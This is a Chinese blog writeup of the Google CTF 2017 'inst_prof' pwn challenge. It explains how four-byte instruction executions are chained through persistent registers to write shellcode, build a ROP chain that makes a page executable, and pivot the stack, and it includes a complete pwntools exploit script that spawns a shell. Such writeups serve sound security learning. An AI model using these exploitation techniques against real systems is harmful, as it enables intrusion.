google ctf 2017 inst_prof writeup
2017-06-23 01:20
507 查看
题目
题目本身比较神奇,当时看到这道题的时候还懵了一下,一下子没有太好的思路,不过后两天还有考试所以也没太静下心来想,今天刚考完了再来看这道题感觉其实难度并不是很大。题目给出了一个二进制文件,本能的checksec:
[*] '/home/vagrant/ctf/contests/googlectf-2017/inst_prof/inst_prof' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
partial relro,很有意思,不过其实根本没卵用,233.
看看逻辑:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { if ( write(1, "initializing prof...", 0x14uLL) == 20 ) { sleep(5u); alarm(0x1Eu); if ( write(1, "ready\n", 6uLL) == 6 ) { while ( 1 ) do_test(); } } exit(0); }
main函数很显然,就是死循环执行do_test,再看do_test
int do_test() { char *v0; // rbx@1 char v1; // al@1 unsigned __int64 v2; // r12@1 unsigned __int64 buf; // [sp+8h] [bp-18h]@1 v0 = (char *)alloc_page(); *(_QWORD *)v0 = *(_QWORD *)"¦"; *((_DWORD *)v0 + 2) = *(_DWORD *)&template[8]; v1 = template[14]; *((_WORD *)v0 + 6) = *(_WORD *)&template[12]; v0[14] = v1; read_inst((__int64)(v0 + 5)); make_page_executable(v0); v2 = __rdtsc(); ((void (__fastcall *)(char *))v0)(v0); buf = __rdtsc() - v2; if ( write(1, &buf, 8uLL) != 8 ) exit(0); return free_page(v0, &buf); }
由于二进制并没有取掉符号,所以看起来比较显然,template其实不用怎么管,可以大致看出来他的功能:
分配了一个页
进行一些初始化,放入了template的一些字节
输入了4个字节(read_inst)
改变之前分配的页的权限为R_X
__rdtsc会改变r12的值,这里没啥用不用管,然后跳到了输入字节的位置进行执行
执行后释放分配的页,然后跳到外层之后死循环回到第一步
具体情况可以下断点输入四个NOP看看,template里边会先
mov ecx, 0x1000然后执行四字节输入内容,然后
sub ecx, 1之后检测是不是ecx为0,不为0跳到输入的四个字节,基本上除了增加了一点调试难度没什么卵用。
总结一下题目难点:
1. 每次只能输入一个4字节的shellcode执行
2. 每次执行之后会死循环,不过由于得先进行一系列操作,一些寄存器的值会被改变,无法保存
分析
寄存器值改变情况
题目的意思已经很清楚了,不过不保存寄存器值是绝对不可能搞定的,所以应该是有寄存器的值是能够保存的,调试观察一下可以发现,r14和r15的寄存器在两次循环之间是不会被改变的,也就是说我们现在有两个寄存器r14和r15可以用,另外,rdi等等寄存器会保留一些内容,这些对于我们之后的利用也很有用处。利用方法
写入shellcode
我们首先可以想到可以利用r14和r15进行写入,方法是通过mov byte ptr [r14], {}的方式,{}处可以填很多字节,这样就可以写入shellcode,那么问题来了,写哪儿?
之前分配的页
另找一个位置
好了,之前分配的页改变权限的时候已经改为了RX,但是不可写了,所以这个方法是不行的,另找一个位置也没有了可写又可执行的位置,所以看来我们需要自己去更改权限,那么我们需要一个稳定的可写地址,通过观察,或者猜测也行,分配位置之后的一页位置是稳定可写的,所以写那里就可以,之后我们需要想一个办法更改它的权限。
更改权限
更改权限就有问题了,虽然我们有mprotect的调用,但是参数是个问题。更改rdi之后调用已经有的更改权限函数之后再返回或者改权限参数为7之后调用更改权限函数都是不错的思路,可是都存在问题。rdi和权限参数存的rbx都没办法保留到下一次循环
如果先存入rdi/rbx再调用(利用push r14或者r15可以在这里改变执行流),也会导致长度不够,至少需要5个字节
看来这两种方法都不行。其实因为我们可以执行一句代码,理论上我们是可以做到受限制的任意写的,而寄存器的值我们是可以mov出来的,所以应该能想到ROP,通过先把链构造好,最后r14/r15设置为链起始位置,
mov rsp, r14或者
mov rsp, r15就可以触发ROP了。调整r14和r15的值可以用inc指令实现,inc指令比较短。
最终方案
先写入shellcode到分配的页起始+0x1000的位置利用r14和r15构造ROP链,结构为:text offset为0xbc3的值(通过[rsp]值之后加减偏移可以取出来) -> 需要的rdi值(shellcode的所在页) -> text offset 0xb03值 -> 0x28 junk -> shellcode位置
最后执行
mov rsp, r14触发ROP
exp.py
稍微缓存一下编译过程,否则速度太慢直接触发alarm了。我这里的实现还是有一些问题,应该把NOP换成ret,这样可以避免一些重复的0x1000次执行。
from pwn import * context(os='linux', arch='amd64', log_level='debug') DEBUG = 1 GDB = 1 NOP = b'\x90' shellcodes = {} if DEBUG: p = process("./inst_prof") else: p = remote("inst_prof.ctfcompetition.com", 1337) def split_at(line, n): return [line[i:i+n] for i in range(0, len(line), n)] def execute(shellcode, is_asm=True): if shellcode not in shellcodes: asm_shellcode = asm(shellcode) shellcodes[shellcode] = asm_shellcode shellcode = asm_shellcode else: shellcode = shellcodes[shellcode] if len(shellcode) > 4: raise Exception('instruction using is too long, length {}'.format(len(shellcode))) p.send(shellcode.ljust(4, NOP)) def write_byte(byte_to_write): shellcode = "mov byte ptr [r14], {}".format(byte_to_write) return shellcode def write_str(code_str): for char in code_str: char_num = ord(char) execute(write_byte(char_num)) execute('inc r14; ret;') def write_shellcode(): execute('mov r14, rdi; ret;') for i in range(0x1000): execute('inc r14; ret;') # $r14 = writable address shellcode = asm(shellcraft.sh()) write_str(shellcode) def write_rop_chain(): execute('mov r14, rsp;') execute('mov r15, [rsp]') for i in range(0x100): execute('inc r14; ret;') for delta in range(0xbc3 - 0xb18): execute('inc r15; ret;') # r15 = pop_rdi_ret: 0xbc3 execute('mov [r14], r15') for i in range(8): execute('inc r14; ret') execute('mov r15, rdi') for i in range(0x1000): execute('inc r15; ret;') # r15 = writable execute('mov [r14], r15') for i in range(8): execute('inc r14; ret') execute('mov r15, [rsp]') for delta in range(0xb18 - 0xb03): execute('dec r15; ret;') # r15 = call make_page_executable execute('mov [r14], r15') for i in range(16 + 0x20): execute('inc r14; ret;') execute('mov r15, rdi') for i in range(0x1000): execute('inc r15; ret') # r15 = writable execute('mov [r14], r15') for i in range(0x20 + 0x20): execute('dec r14; ret;') execute('mov rsp, r14') def main(): if gdb: raw_input() write_shellcode() write_rop_chain() p.interactive() if __name__ == "__main__": main()
相关文章推荐
- 2017-0CTF-simplesplin-write up
- 0ctf 2017 kernel pwn knote write up
- 2017 429 ichunqiu ctf smallest(pwn300) writeup
- jarvisoj pwn inst_prof writeup
- SWPU CTF 2017 Web WriteUp
- NJCTF 2017 web Writeup
- 2017 火种CTF Writeup
- Xp0intCTF 2017 writeup
- HCTF 2017 bin Level1 Evr_Q Writeup
- 0ctf 2017 babyheap writeup
- CUIT CTF WriteUp-鬼子进村
- 34C3 ctf writeup
- RSA解密Write UP——2017湖南教育网络安全竞赛
- CTF writeup:python脚本爆破zip密码
- ISCC2017 Basic write up附加题目文件
- Bugku CTF flag.php WriteUp
- Writeup of NJUPT CTF platform's some easy Reverse
- CUIT CTF WriteUp-初中数学题
- CTF writeup:开发者工具
- 【Writeup】2017陕西网络空间安全技术大赛CSTC misc部分